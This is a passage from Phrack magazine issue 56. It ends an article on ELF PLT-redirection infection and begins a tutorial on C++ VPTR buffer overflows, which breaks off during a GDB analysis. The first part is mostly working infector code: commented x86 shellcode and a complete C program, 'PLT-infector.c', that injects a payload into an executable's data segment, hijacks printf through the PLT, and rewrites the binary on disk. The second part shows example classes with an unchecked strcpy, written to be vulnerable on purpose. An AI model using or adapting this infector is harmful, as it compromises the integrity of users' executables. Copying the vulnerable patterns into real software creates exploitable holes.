the text segment and is normally not writeable.
"xb8x7dx00x00x00" /* movl $125,%eax */
"xbbx00x80x04x08" /* movl $text_start,%ebx */
"xb9x00x40x00x00" /* movl $0x4000,%ecx */
"xbax07x00x00x00" /* movl $7,%edx */
"xcdx80" /* int $0x80 */
we save the old library call's PLT(GOT) reference and replace it with the
address of the new library call which immediately follows the entry point code.
"xa1x00x00x00x00" /* movl plt,%eax */
"xa3x00x00x00x00" /* movl %eax,oldcall */
"xc7x05x00x90x04" /* movl $newcall,plt */
"x08x00x00x00x00"
restore the registers and so forth...
"x61" /* popa */
jump back to the executables original entry point.
"xbdx00x80x04x08" /* movl $entry,%ebp */
"xffxe5" /* jmp *%ebp */
the new library call (printf).
/* newcall: */
get the address of the string to write .
"xebx38" /* jmp msg_jmp */
/* msg_call */
"x59" /* popl %ecx */
and write that string using the Linux system call
"xb8x04x00x00x00" /* movl $4,%eax */
"xbbx01x00x00x00" /* movl $1,%ebx */
"xbax0ex00x00x00" /* movl $14,%edx */
"xcdx80" /* int $0x80 */
restore the old library call into the PLT(GOT) so we can call it
"xb8x00x00x00x00" /* movl $oldcall,%eax */
"xa3x00x00x00x00" /* movl %eax,plt */
get the original printf argument
"xffx75xfc" /* pushl -4(%ebp) */
call the original library call
"xffxd0" /* call *%eax */
save the original library call from the PLT(GOT). Remember this might change
after a call to the library, so we save each time. This actually only changes
after the first call, but we don't bother too much.
"xa1x00x00x00x00" /* movl plt,%eax */
"xa3x00x00x00x00" /* movl %eax,oldcall */
make the PLT(GOT) point back to the new library call
"xc7x05x00x00x00" /* movl $newcall,plt */
"x08x00x00x00x00"
clean up the arguments
"x58" /* popl %eax */
restore the registers and so forth...
"x61" /* popa */
and return from the function
"xc3" /* ret */
get the address of the string to write .
/* msg_jmp */
"xe8xc4xffxffxff" /* call msg_call */
the string
"INFECTED Host "
----| FUTURE DIRECTIONS
It is possible to infect a shared library directly, and this is sometimes more
desirable because the redirection stays resident for all executables. Also
possible, is an even more stealth version of the PLT redirection described
by modifying the process image directly thus the host executable stays
unmodified. This however has the disadvantage that the redirection stays
active only for the life of a single process.
----| CONCLUSION
This article has described a method of redirecting shared library calls in
an executable by directly modifying the PLT of the executable in question
using ELF infection techniques. It is more stealthy than previous techniques
using LD_PRELOAD and has large possibilities.
----| CODE
<++> p56/PLT-INFECTION/PLT-infector.c !fda3c047
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <elf.h>
#define PAGE_SIZE 4096
static char v[] =
"x60" /* pusha */
"xb8x7dx00x00x00" /* movl $125,%eax */
"xbbx00x80x04x08" /* movl $text_start,%ebx */
"xb9x00x40x00x00" /* movl $0x4000,%ecx */
"xbax07x00x00x00" /* movl $7,%edx */
"xcdx80" /* int $0x80 */
"xa1x00x00x00x00" /* movl plt,%eax */
"xa3x00x00x00x00" /* movl %eax,oldcall */
"xc7x05x00x90x04" /* movl $newcall,plt */
"x08x00x00x00x00"
"x61" /* popa */
"xbdx00x80x04x08" /* movl $entry,%ebp */
"xffxe5" /* jmp *%ebp */
/* newcall: */
"xebx37" /* jmp msg_jmp */
/* msg_call */
"x59" /* popl %ecx */
"xb8x04x00x00x00" /* movl $4,%eax */
"xbbx01x00x00x00" /* movl $1,%ebx */
"xbax0ex00x00x00" /* movl $14,%edx */
"xcdx80" /* int $0x80 */
"xb8x00x00x00x00" /* movl $oldcall,%eax */
"xa3x00x00x00x00" /* movl %eax,plt */
"xffx75xfc" /* pushl -4(%ebp) */
"xffxd0" /* call *%eax */
"xa1x00x00x00x00" /* movl plt,%eax */
"xa3x00x00x00x00" /* movl %eax,oldcall */
"xc7x05x00x00x00" /* movl $newcall,plt */
"x08x00x00x00x00"
"x58" /* popl %eax */
"xc3" /* ret */
/* msg_jmp */
"xe8xc4xffxffxff" /* call msg_call */
"INFECTED Host "
;
char *get_virus(void)
{
return v;
}
int init_virus(
int plt,
int offset,
int text_start, int data_start,
int data_memsz,
int entry
)
{
int code_start = data_start + data_memsz;
int oldcall = code_start + 72;
int newcall = code_start + 51;
*(int *)&v[7] = text_start;
*(int *)&v[24] = plt;
*(int *)&v[29] = oldcall;
*(int *)&v[35] = plt;
*(int *)&v[39] = newcall;
*(int *)&v[45] = entry;
*(int *)&v[77] = plt;
*(int *)&v[87] = plt;
*(int *)&v[92] = oldcall;
*(int *)&v[98] = plt;
*(int *)&v[102] = newcall;
return 0;
}
int copy_partial(int fd, int od, unsigned int len)
{
char idata[PAGE_SIZE];
unsigned int n = 0;
int r;
while (n + PAGE_SIZE < len) {
if (read(fd, idata, PAGE_SIZE) != PAGE_SIZE) {;
perror("read");
return -1;
}
if (write(od, idata, PAGE_SIZE) < 0) {
perror("write");
return -1;
}
n += PAGE_SIZE;
}
r = read(fd, idata, len - n);
if (r < 0) {
perror("read");
return -1;
}
if (write(od, idata, r) < 0) {
perror("write");
return -1;
}
return 0;
}
void do_elf_checks(Elf32_Ehdr *ehdr)
{
if (strncmp(ehdr->e_ident, ELFMAG, SELFMAG)) {
fprintf(stderr, "File not ELF
");
exit(1);
}
if (ehdr->e_type != ET_EXEC) {
fprintf(stderr, "ELF type not ET_EXEC or ET_DYN
");
exit(1);
}
if (ehdr->e_machine != EM_386 && ehdr->e_machine != EM_486) {
fprintf(stderr, "ELF machine type not EM_386 or EM_486
");
exit(1);
}
if (ehdr->e_version != EV_CURRENT) {
fprintf(stderr, "ELF version not current
");
exit(1);
}
}
int do_dyn_symtab(
int fd,
Elf32_Shdr *shdr, Elf32_Shdr *shdrp,
const char *sh_function
)
{
Elf32_Shdr *strtabhdr = &shdr[shdrp->sh_link];
char *string;
Elf32_Sym *sym, *symp;
int i;
string = (char *)malloc(strtabhdr->sh_size);
if (string == NULL) {
perror("malloc");
exit(1);
}
if (lseek(
fd, strtabhdr->sh_offset, SEEK_SET) != strtabhdr->sh_offset
) {
perror("lseek");
exit(1);
}
if (read(fd, string, strtabhdr->sh_size) != strtabhdr->sh_size) {
perror("read");
exit(1);
}
sym = (Elf32_Sym *)malloc(shdrp->sh_size);
if (sym == NULL) {
perror("malloc");
exit(1);
}
if (lseek(fd, shdrp->sh_offset, SEEK_SET) != shdrp->sh_offset) {
perror("lseek");
exit(1);
}
if (read(fd, sym, shdrp->sh_size) != shdrp->sh_size) {
perror("read");
exit(1);
}
symp = sym;
for (i = 0; i < shdrp->sh_size; i += sizeof(Elf32_Sym)) {
if (!strcmp(&string[symp->st_name], sh_function)) {
free(string);
return symp - sym;
}
++symp;
}
free(string);
return -1;
}
int get_sym_number(
int fd, Elf32_Ehdr *ehdr, Elf32_Shdr *shdr, const char *sh_function
)
{
Elf32_Shdr *shdrp = shdr;
int i;
for (i = 0; i < ehdr->e_shnum; i++) {
if (shdrp->sh_type == SHT_DYNSYM) {
return do_dyn_symtab(fd, shdr, shdrp, sh_function);
}
++shdrp;
}
}
void do_rel(int *plt, int *offset, int fd, Elf32_Shdr *shdr, int sym)
{
Elf32_Rel *rel, *relp;
int i;
rel = (Elf32_Rel *)malloc(shdr->sh_size);
if (rel == NULL) {
perror("malloc");
exit(1);
}
if (lseek(fd, shdr->sh_offset, SEEK_SET) != shdr->sh_offset) {
perror("lseek");
exit(1);
}
if (read(fd, rel, shdr->sh_size) != shdr->sh_size) {
perror("read");
exit(1);
}
relp = rel;
for (i = 0; i < shdr->sh_size; i += sizeof(Elf32_Rel)) {
if (ELF32_R_SYM(relp->r_info) == sym) {
*plt = relp->r_offset;
*offset = relp - rel;
printf("offset %i
", *offset);
return;
}
++relp;
}
*plt = -1;
*offset = -1;
}
void find_rel(
int *plt,
int *offset,
int fd,
const char *string,
Elf32_Ehdr *ehdr, Elf32_Shdr *shdr,
const char *sh_function
)
{
Elf32_Shdr *shdrp = shdr;
int sym;
int i;
sym = get_sym_number(fd, ehdr, shdr, sh_function);
if (sym < 0) {
*plt = -1;
*offset = -1;
return;
}
for (i = 0; i < ehdr->e_shnum; i++) {
if (!strcmp(&string[shdrp->sh_name], ".rel.plt")) {
do_rel(plt, offset, fd, shdrp, sym);
return;
}
++shdrp;
}
}
void infect_elf(
char *host,
char *(*get_virus)(void),
int (*init_virus)(int, int, int, int, int, int),
int len,
const char *sh_function
)
{
Elf32_Ehdr ehdr;
Elf32_Shdr *shdr, *strtabhdr;
Elf32_Phdr *phdr;
char *pdata, *sdata;
int move = 0;
int od, fd;
int evaddr, text_start = -1, plt;
int sym_offset;
int bss_len, addlen;
int offset, pos, oshoff;
int plen, slen;
int i;
char null = 0;
struct stat stat;
char *string;
char tempname[8] = "vXXXXXX";
fd = open(host, O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}
/* read the ehdr */
if (read(fd, &ehdr, sizeof(ehdr)) < 0) {
perror("read");
exit(1);
}
do_elf_checks(&ehdr);
/* modify the virus so that it knows the correct reentry point */
printf("host entry point: %x
", ehdr.e_entry);
/* allocate memory for phdr tables */
pdata = (char *)malloc(plen = sizeof(*phdr)*ehdr.e_phnum);
if (pdata == NULL) {
perror("malloc");
exit(1);
}
/* read the phdr's */
if (lseek(fd, ehdr.e_phoff, SEEK_SET) < 0) {
perror("lseek");
exit(1);
}
if (read(fd, pdata, plen) != plen) {
perror("read");
exit(1);
}
phdr = (Elf32_Phdr *)pdata;
/* allocated memory if required to accomodate the shdr tables */
sdata = (char *)malloc(slen = sizeof(*shdr)*ehdr.e_shnum);
if (sdata == NULL) {
perror("malloc");
exit(1);
}
/* read the shdr's */
if (lseek(fd, oshoff = ehdr.e_shoff, SEEK_SET) < 0) {
perror("lseek");
exit(1);
}
if (read(fd, sdata, slen) != slen) {
perror("read");
exit(1);
}
strtabhdr = &((Elf32_Shdr *)sdata)[ehdr.e_shstrndx];
string = (char *)malloc(strtabhdr->sh_size);
if (string == NULL) {
perror("malloc");
exit(1);
}
if (lseek(
fd, strtabhdr->sh_offset, SEEK_SET
) != strtabhdr->sh_offset) {
perror("lseek");
exit(1);
}
if (read(fd, string, strtabhdr->sh_size) != strtabhdr->sh_size) {
perror("read");
exit(1);
}
find_rel(
&plt, &sym_offset,
fd,
string,
&ehdr,
(Elf32_Shdr *)sdata,
sh_function
);
if (plt < 0) {
printf("No dynamic function: %s
", sh_function);
exit(1);
}
for (i = 0; i < ehdr.e_phnum; i++) {
if (phdr->p_type == PT_LOAD) {
if (phdr->p_offset == 0) {
text_start = phdr->p_vaddr;
} else {
if (text_start < 0) {
fprintf(stderr, "No text segment??
");
exit(1);
}
/* is this the data segment ? */
#ifdef DEBUG
printf("Found PT_LOAD segment...
");
printf(
"p_vaddr: 0x%x
"
"p_offset: %i
"
"p_filesz: %i
"
"p_memsz: %i
"
"
",
phdr->p_vaddr,
phdr->p_offset,
phdr->p_filesz,
phdr->p_memsz
);
#endif
offset = phdr->p_offset + phdr->p_filesz;
bss_len = phdr->p_memsz - phdr->p_filesz;
if (init_virus != NULL)
init_virus(
plt, sym_offset,
text_start, phdr->p_vaddr,
phdr->p_memsz,
ehdr.e_entry
);
ehdr.e_entry = phdr->p_vaddr + phdr->p_memsz;
break;
}
}
++phdr;
}
/* update the shdr's to reflect the insertion of the virus */
addlen = len + bss_len;
shdr = (Elf32_Shdr *)sdata;
for (i = 0; i < ehdr.e_shnum; i++) {
if (shdr->sh_offset >= offset) {
shdr->sh_offset += addlen;
}
++shdr;
}
/*
update the phdr's to reflect the extention of the data segment (to
allow virus insertion)
*/
phdr = (Elf32_Phdr *)pdata;
for (i = 0; i < ehdr.e_phnum; i++) {
if (phdr->p_type != PT_DYNAMIC) {
if (move) {
phdr->p_offset += addlen;
} else if (phdr->p_type == PT_LOAD && phdr->p_offset) {
/* is this the data segment ? */
phdr->p_filesz += addlen;
phdr->p_memsz += addlen;
#ifdef DEBUG
printf("phdr->filesz: %i
", phdr->p_filesz);
printf("phdr->memsz: %i
", phdr->p_memsz);
#endif
move = 1;
}
}
++phdr;
}
/* update ehdr to reflect new offsets */
if (ehdr.e_shoff >= offset) ehdr.e_shoff += addlen;
if (ehdr.e_phoff >= offset) ehdr.e_phoff += addlen;
if (fstat(fd, &stat) < 0) {
perror("fstat");
exit(1);
}
/* write the new virus */
if (mktemp(tempname) == NULL) {
perror("mktemp");
exit(1);
}
od = open(tempname, O_WRONLY | O_CREAT | O_EXCL, stat.st_mode);
if (od < 0) {
perror("open");
exit(1);
}
if (lseek(fd, 0, SEEK_SET) < 0) {
perror("lseek");
goto cleanup;
}
if (write(od, &ehdr, sizeof(ehdr)) < 0) {
perror("write");
goto cleanup;
}
if (write(od, pdata, plen) < 0) {
perror("write");
goto cleanup;
}
free(pdata);
if (lseek(fd, pos = sizeof(ehdr) + plen, SEEK_SET) < 0) {
perror("lseek");
goto cleanup;
}
if (copy_partial(fd, od, offset - pos) < 0) goto cleanup;
for (i = 0; i < bss_len; i++) write(od, &null, 1);
if (write(od, get_virus(), len) != len) {
perror("write");
goto cleanup;
}
if (copy_partial(fd, od, oshoff - offset) < 0) goto cleanup;
if (write(od, sdata, slen) < 0) {
perror("write");
goto cleanup;
}
free(sdata);
if (lseek(fd, pos = oshoff + slen, SEEK_SET) < 0) {
perror("lseek");
goto cleanup;
}
if (copy_partial(fd, od, stat.st_size - pos) < 0) goto cleanup;
if (rename(tempname, host) < 0) {
perror("rename");
exit(1);
}
if (fchown(od, stat.st_uid, stat.st_gid) < 0) {
perror("chown");
exit(1);
}
free(string);
return;
cleanup:
unlink(tempname);
exit(1);
}
int main(int argc, char *argv[])
{
if (argc != 2) {
fprintf(stderr, "usage: infect-data-segment filename
");
exit(1);
}
infect_elf(
argv[1],
get_virus, init_virus,
sizeof(v),
"printf"
);
exit(0);
}
<-->
|EOF|-------------------------------------------------------------------------|
--------------------------------------------------------------------------------
- P H R A C K M A G A Z I N E -
Volume 0xa Issue 0x38
05.01.2000
0x08[0x10]
|----------------------------- SMASHING C++ VPTRS ----------------------------|
|-----------------------------------------------------------------------------|
|-------------------------- rix <rix@securiweb.net> --------------------------|
----| Introduction
At the present time, a widely known set of techniques instructs us how to
exploit buffer overflows in programs usually written in C. Although C is
almost ubiquitously used, we are seeing many programs also be written in C++.
For the most part, the techniques that are applicable in C are available in
C++ also, however, C++ can offer us new possibilities in regards to buffer
overflows, mostly due to the use of object oriented technologies. We are
going to analyze one of these possibilities, using the C++ GNU compiler,
on an x86 Linux system.
----| C++ Backgrounder
We can define a "class" as being a structure that contains data and a set of
functions (called "methods"). Then, we can create variables based on this
class definition. Those variables are called "objects". For example, we
can have the following program (bo1.cpp):
#include <stdio.h>
#include <string.h>
class MyClass
{
private:
char Buffer[32];
public:
void SetBuffer(char *String)
{
strcpy(Buffer, String);
}
void PrintBuffer()
{
printf("%s
", Buffer);
}
};
void main()
{
MyClass Object;
Object.SetBuffer("string");
Object.PrintBuffer();
}
This small program defines a MyClass class that possesses 2 methods:
1) A SetBuffer() method, that fills an internal buffer to the class (Buffer).
2) A PrintBuffer() method, that displays the content of this buffer.
Then, we define an Object object based on the MyClass class. Initially, we'll
notice that the SetBuffer() method uses a *very dangerous* function to fill
Buffer, strcpy()...
As it happens, using object oriented programming in this simplistic example
doesn't bring too many advantages. On the other hand, a mechanism very often
used in object oriented programming is the inheritance mechanism. Let's
consider the following program (bo2.cpp), using the inheritance mechanism
to create 2 classes with distinct PrintBuffer() methods:
#include <stdio.h>
#include <string.h>
class BaseClass
{
private:
char Buffer[32];
public:
void SetBuffer(char *String)
{
strcpy(Buffer,String);
}
virtual void PrintBuffer()
{
printf("%s
",Buffer);
}
};
class MyClass1:public BaseClass
{
public:
void PrintBuffer()
{
printf("MyClass1: ");
BaseClass::PrintBuffer();
}
};
class MyClass2:public BaseClass
{
public:
void PrintBuffer()
{
printf("MyClass2: ");
BaseClass::PrintBuffer();
}
};
void main()
{
BaseClass *Object[2];
Object[0] = new MyClass1;
Object[1] = new MyClass2;
Object[0]->SetBuffer("string1");
Object[1]->SetBuffer("string2");
Object[0]->PrintBuffer();
Object[1]->PrintBuffer();
}
This program creates 2 distinct classes (MyClass1, MyClass2) which are
derivatives of a BaseClass class. These 2 classes differ at the display level
(PrintBuffer() method). Each has its own PrintBuffer() method, but they both
call the original PrintBuffer() method (from BaseClass). Next, we have the
main() function define an array of pointers to two objects of class BaseClass.
Each of these objects is created, as derived from MyClass1 or MyClass2.
Then we call the SetBuffer() and PrintBuffer() methods of these two objects.
Executing the program produces this output:
rix@pentium:~/BO> bo2
MyClass1: string1
MyClass2: string2
rix@pentium:~/BO>
We now notice the advantage of object oriented programming. We have the
same calling primitives to PrintBuffer() for two different classes! This is
the end result from virtual methods. Virtual methods permit us to redefine
newer versions of methods of our base classes, or to define a method of the
base classes (if the base class is purely abstracted) in a derivative class.
If we don't declare the method as virtual, the compiler would do the call
resolution at compile time ("static binding"). To resolve the call at run
time (because this call depends on the class of objects that we have in our
Object[] array), we must declare our PrintBuffer() method as "virtual". The
compiler will then use a dynamic binding, and will calculate the address for
the call at run time.
----| C++ VPTR
We are now going to analyze in a more detailed manner this dynamic binding
mechanism. Let's take the case of our BaseClass class and its derivative
classes.
The compiler first browses the declaration of BaseClass. Initially, it
reserves 32 bytes for the definition of Buffer. Then, it reads the
declaration of the SetBuffer() method (not virtual) and it directly assigns
the corresponding address in the code. Finally, it reads the declaration of
the PrintBuffer() method (virtual). In this case, instead of doing a static
binding, it does a dynamic binding, and reserves 4 bytes in the class (those
bytes will contain a pointer). We have now the following structure:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBVVVV
Where: B represents a byte of Buffer.
V represents a byte of our pointer.
This pointer is called "VPTR" (Virtual Pointer), and points to an entry in an
array of function pointers. Those point themselves to methods (relative to
the class). There is one VTABLE for a class, that contains only pointers to
all class methods. We now have the following diagram:
Object[0]: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBVVVV
=+==
|
+------------------------------+
|
+--> VTABLE_MyClass1: IIIIIIIIIIIIPPPP
Object[1]: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBWWWW
=+==
|
+------------------------------+
|
+--> VTABLE_MyClass2: IIIIIIIIIIIIQQQQ
Where: B represents a byte of Buffer.
V represents a byte of the VPTR to VTABLE_MyClass1.
W represents a byte of the VPTR to VTABLE_MyClass2.
I represents various information bytes.
P represents a byte of the pointer to the PrintBuffer() method of
MyClass1.
Q represents a byte of the pointer to the PrintBuffer() method of
MyClass2.
If we had a third object of MyClass1 class, for example, we would have:
Object[2]: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBVVVV
with VVVV that would point to VTABLE_MyClass1.
We notice that the VPTR is located after our Buffer in the process's memory.
As we fill this buffer via the strcpy() function, we easily deduct that we can
reach the VPTR by filling the buffer!
NOTE: After some tests under Windows, it appears that Visual C++ 6.0
places the VPTR right at the beginning of the object, which prevents us from
using this technique. On the other hand, C++ GNU places the VPTR at the end
of the object (which is what we want).
----| VPTR analysis using GDB
Now we will observe the mechanism more precisely, using a debugger. For this,
we compile our program and run GDB:
rix@pentium:~/BO > gcc -o bo2 bo2.cpp
rix@pentium:~/BO > gdb bo2
GNU gdb 4.17.0.11 with Linux support
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) disassemble main
Dump of assembler code for function main:
0x80485b0 <main>: pushl %ebp
0x80485b1 <main+1>: movl %esp,%ebp
0x80485b3 <main+3>: subl $0x8,%esp
0x80485b6 <main+6>: pushl %edi
0x80485b7 <main+7>: pushl %esi
0x80485b8 <main+8>: pushl %ebx
0x80485b9 <main+9>: pushl $0x24
0x80485bb <main+11>: call 0x80487f0 <___builtin_new>
0x80485c0 <main+16>: addl $0x4,%esp
0x80485c3 <main+19>: movl %eax,%eax
0x80485c5 <main+21>: pushl %eax
0x80485c6 <main+22>: call 0x8048690 <__8MyClass1>
0x80485cb <main+27>: addl $0x4,%esp
0x80485ce <main+30>: movl %eax,%eax
0x80485d0 <main+32>: movl %eax,0xfffffff8(%ebp)
0x80485d3 <main+35>: pushl $0x24
0x80485d5 <main+37>: call 0x80487f0 <___builtin_new>
0x80485da <main+42>: addl $0x4,%esp
0x80485dd <main+45>: movl %eax,%eax
0x80485df <main+47>: pushl %eax
0x80485e0 <main+48>: call 0x8048660 <__8MyClass2>
0x80485e5 <main+53>: addl $0x4,%esp
0x80485e8 <main+56>: movl %eax,%eax
---Type <return> to continue, or q <return> to quit---
0x80485ea <main+58>: movl %eax,0xfffffffc(%ebp)
0x80485ed <main+61>: pushl $0x8048926
0x80485f2 <main+66>: movl 0xfffffff8(%ebp),%eax
0x80485f5 <main+69>: pushl %eax
0x80485f6 <main+70>: call 0x80486c0 <SetBuffer__9BaseClassPc>
0x80485fb <main+75>: addl $0x8,%esp
0x80485fe <main+78>: pushl $0x804892e
0x8048603 <main+83>: movl 0xfffffffc(%ebp),%eax
0x8048606 <main+86>: pushl %eax
0x8048607 <main+87>: call 0x80486c0 <SetBuffer__9BaseClassPc>
0x804860c <main+92>: addl $0x8,%esp
0x804860f <main+95>: movl 0xfffffff8(%ebp),%eax
0x8048612 <main+98>: movl 0x20(%eax),%ebx
0x8048615 <main+101>: addl $0x8,%ebx
0x8048618 <main+104>: movswl (%ebx),%eax
0x804861b <main+107>: movl %eax,%edx
0x804861d <main+109>: addl 0xfffffff8(%ebp),%edx
0x8048620 <main+112>: pushl %edx
0x8048621 <main+113>: movl 0x4(%ebx),%edi
0x8048624 <main+116>: call *%edi
0x8048626 <main+118>: addl $0x4,%esp
0x8048629 <main+121>: movl 0xfffffffc(%ebp),%eax
0x804862c <main+124>: movl 0x20(%eax),%esi
0x804862f <main+127>: addl $0x8,%esi
---Type <return> to continue, or q <return> to quit---
0x8048632 <main+130>: movswl (%esi),%eax
0x8048635 <main+133>: movl %eax,%edx
0x8048637 <main+135>: addl 0xfffffffc(%ebp),%edx
0x804863a <main+138>: pushl %edx
0x804863b <main+139>: movl 0x4(%esi),%edi
0x804863e <main+142>: call *%edi
0x8048640 <main+144>: addl $0x4,%esp
0x8048643 <main+147>: xorl %eax,%eax
0x8048645 <main+149>: jmp 0x8048650 <main+160>
0x8048647 <main+151>: movl %esi,%esi
0x8048649 <main+153>: leal 0x0(%edi,1),%edi
0x8048650 <main+160>: leal 0xffffffec(%ebp),%esp
0x8048653 <main+163>: popl %ebx
0x8048654 <main+164>: popl %esi
0x8048655 <main+165>: popl %edi
0x8048656 <main+166>: movl %ebp,%esp
0x8048658 <main+168>: popl %ebp
0x8048659 <main+169>: ret
0x804865a <main+170>: leal 0x0(%esi),%esi
End of assembler dump.
Let's analyze, in a detailed manner, what our main() function does:
0x80485b0 <main>: pushl %ebp
0x80485b1 <main+1>: movl %esp,%ebp
0x80485b3 <main+3>: subl $0x8,%esp
0x80485b6 <main+6>: pushl %edi
0x80485b7 <main+7>: pushl %esi
0x80485b8 <main+8>: pushl %ebx
The program creates a stack frame, then it reserves 8 bytes on the stack (this
is our local Object[] array), that will contain 2 pointers of 4 bytes each,
respectively in 0xfffffff8 (%ebp) for Object[0] and in 0xfffffffc (%ebp) for
Object[1]. Next, it saves various registers.
0x80485b9 <main+9>: pushl $0x24
0x80485bb <main+11>: call 0x80487f0 <___builtin_new>
0x80485c0 <main+16>: addl $0x4,%esp
The program now calls ___builtin_new, that reserves 0x24 (36 bytes) on the
heap for our Object[0] and sends us back the address of these bytes reserved
in EAX. Those 36 bytes represent 32 bytes for our buffer followed by 4 bytes
for our VPTR.
0x80485c3 <main+19>: movl %eax,%eax
0x80485c5 <main+21>: pushl %eax
0x80485c6 <main+22>: call 0x8048690 <__8MyClass1>
0x80485cb <main+27>: addl $0x4,%esp
Here, we place the address of the object (contained in EAX) on the stack, then
we call the __8MyClass1 function. This function is in fact the constructor of
the MyClass1 class. It is necessary to also notice that in C++, all methods
include an additional "secret" parameter. That is the address of the object
that actually executes the method (the "This" pointer). Let's analyze
instructions from this constructor:
(gdb) disassemble __8MyClass1
Dump of assembler code for function __8MyClass1:
0x8048690 <__8MyClass1>: pushl %ebp
0x8048691 <__8MyClass1+1>: movl %esp,%ebp
0x8048693 <__8MyClass1+3>: pushl %ebx
0x8048694 <__8MyClass1+4>: movl 0x8(%ebp),%ebx
EBX now contains the pointer to the 36 reserved bytes ("This" pointer).
0x8048697 <__8MyClass1+7>: pushl %ebx
0x8048698 <__8MyClass1+8>: call 0x8048700 <__9BaseClass>
0x804869d <__8MyClass1+13>: addl $0x4,%esp
Here, we call the constructor of the BaseClass class.
(gdb) disass __9BaseClass
Dump of assembler code for function __9BaseClass:
0x8048700 <__9BaseClass>: pushl %ebp
0x8048701 <__9BaseClass+1>: movl %esp,%ebp
0x8048703 <__9BaseClass+3>: movl 0x8(%ebp),%edx
EDX receives the pointer to the 36 reserved bytes ("This" pointer).
0x8048706 <__9BaseClass+6>: movl $0x8048958,0x20(%edx)
The 4 bytes situated at EDX+0x20 (=EDX+32) receive the $0x8048958 value.
Then, the __9BaseClass function extends a little farther. If we launch:
(gdb) x/aw 0x08048958
0x8048958 <_vt.9BaseClass>: 0x0
We observe that the value that is written in EDX+0x20 (the VPTR of the
reserved object) receives the address of the VTABLE of the BaseClass class.
Returning to the code of the MyClass1 constructor:
0x80486a0 <__8MyClass1+16>: movl $0x8048948,0x20(%ebx)
It writes the 0x8048948 value to EBX+0x20 (VPTR). Again, the function extends
a little farther. Let's launch:
(gdb) x/aw 0x08048948
0x8048948 <_vt.8MyClass1>: 0x0
We observe that the VPTR is overwritten, and that it now receives the address
of the VTABLE of the MyClass1 class. Our main() function get back (in EAX) a
pointer to the object allocated in memory.
0x80485ce <main+30>: movl %eax,%eax
0x80485d0 <main+32>: movl %eax,0xfffffff8(%ebp)
This pointer is placed in Object[0]. Then, the program uses the same mechanism
for Object[1], evidently with different addresses. After all that
initialization, the following instructions will run:
0x80485ed <main+61>: pushl $0x8048926
0x80485f2 <main+66>: movl 0xfffffff8(%ebp),%eax
0x80485f5 <main+69>: pushl %eax
Here, we first place address 0x8048926 as well as the value of Object[0] on
the stack ("This" pointer). Observing the 0x8048926 address:
(gdb) x/s 0x08048926
0x8048926 <_fini+54>: "string1"
We notice that this address contains "string1" that is going to be copied in
Buffer via the SetBuffer() function of the BaseClass class.
0x80485f6 <main+70>: call 0x80486c0 <SetBuffer__9BaseClassPc>
0x80485fb <main+75>: addl $0x8,%esp
We call the SetBuffer() method of the BaseClass class. It is interesting to
observe that the call of the SetBuffer method is a static binding (because it
is not a virtual method). The same principle is used for the SetBuffer()
method relative to Object[1].
To verify that our 2 objects are correctly initialized at run time, we are
going to install the following breakpoints:
0x80485c0: to get the address of the 1st object.
0x80485da: to get the address of the 2nd object.
0x804860f: to verify that initializations of objects took place well.
(gdb) break *0x80485c0
Breakpoint 1 at 0x80485c0
(gdb) break *0x80485da
Breakpoint 2 at 0x80485da
(gdb) break *0x804860f
Breakpoint 3 at 0x804860f
Finally we run the program:
Starting program: /home/rix/BO/bo2
Breakpoint 1, 0x80485c0 in main ()
While consulting EAX, we will have the address of our 1st object:
(gdb) info reg eax
eax: 0x8049a70 134519408
Then, we continue to the following breakpoint:
(gdb) cont
Continuing.
Breakpoint 2, 0x80485da in main ()
We notice our second object address:
(gdb) info reg eax
eax: 0x8049a98 134519448
We can now run the constructors and the SetBuffer() methods:
(gdb) cont
Continuing.
Breakpoint 3, 0x804860f in main ()
Let's notice that our 2 objects follow themselves in memory (0x8049a70 and
0x8049a98). However, 0x8049a98 - 0x8049a70 = 0x28, which means that there are
4 bytes that have apparently been inserted between the 1st and the 2nd object.
If we want to see these bytes:
(gdb) x/aw 0x8049a98-4
0x8049a94: 0x29
We observe that they contain the value 0x29. The 2nd object is also followed
by 4 particular bytes:
(gdb) x/xb 0x8049a98+32+4
0x8049abc: 0x49
We are now going to display in a more precise manner the internal structure of
each of our objects (now initialized):
(gdb) x/s 0x8049a70
0x8049a70: "string1"
(gdb) x/a 0x8049a70+32
0x8049a90: 0x8048948 <_vt.8MyClass1>
(gdb) x/s 0x8049a98
0x8049a98: "string2"
(gdb) x/a 0x8049a98+32
0x8049ab8: 0x8048938 <_vt.8MyClass2>
We can display the content of the VTABLEs of each of our classes:
(gdb) x/a 0x8048948
0x8048948 <_vt.8MyClass1>: 0x0
(gdb) x/a 0x8048948+4
0x804894c <_vt.8MyClass1+4>: 0x0
(gdb) x/a 0x8048948+8
0x8048950 <_vt.8MyClass1+8>: 0x0
(gdb) x/a 0x8048948+12
0x8048954 <_vt.8MyClass1+12>: 0x8048770 <PrintBuffer__8MyClass1>
(gdb) x/a 0x8048938
0x8048938 <_vt.8MyClass2>: 0x0
(gdb) x/a 0x8048938+4
0x804893c <_vt.8MyClass2+4>: 0x0
(gdb) x/a 0x8048938+8
0x8048940 <_vt.8MyClass2+8>: 0x0
(gdb) x/a 0x8048938+12
0x8048944 <_vt.8MyClass2+12>: 0x8048730 <PrintBuffer__8MyClass2>
We see that the PrintBuffer() method is well the 4th method in the VTABLE of
our classes. Next, we are going to analyze the mechanism for dynamic binding.
It we will continue to run and display registers and memory used. We will
execute the code of the function main() step by step, with instructions:
(gdb) ni
Now we are going to run the following instructions:
0x804860f <main+95>: movl 0xfffffff8(%ebp),%eax
This instruction is going to make EAX point to the 1st object.
0x8048612 <main+98>: movl 0x20(%eax),%ebx
0x8048615 <main+101>: addl $0x8,%ebx
These instructions are going to make EBX point on the 3rd address from the
VTABLE of the MyClass1 class.
0x8048618 <main+104>: movswl (%ebx),%eax
0x804861b <main+107>: movl %eax,%edx
These instructions are going to load the word at offset +8 in the VTABLE to
EDX.
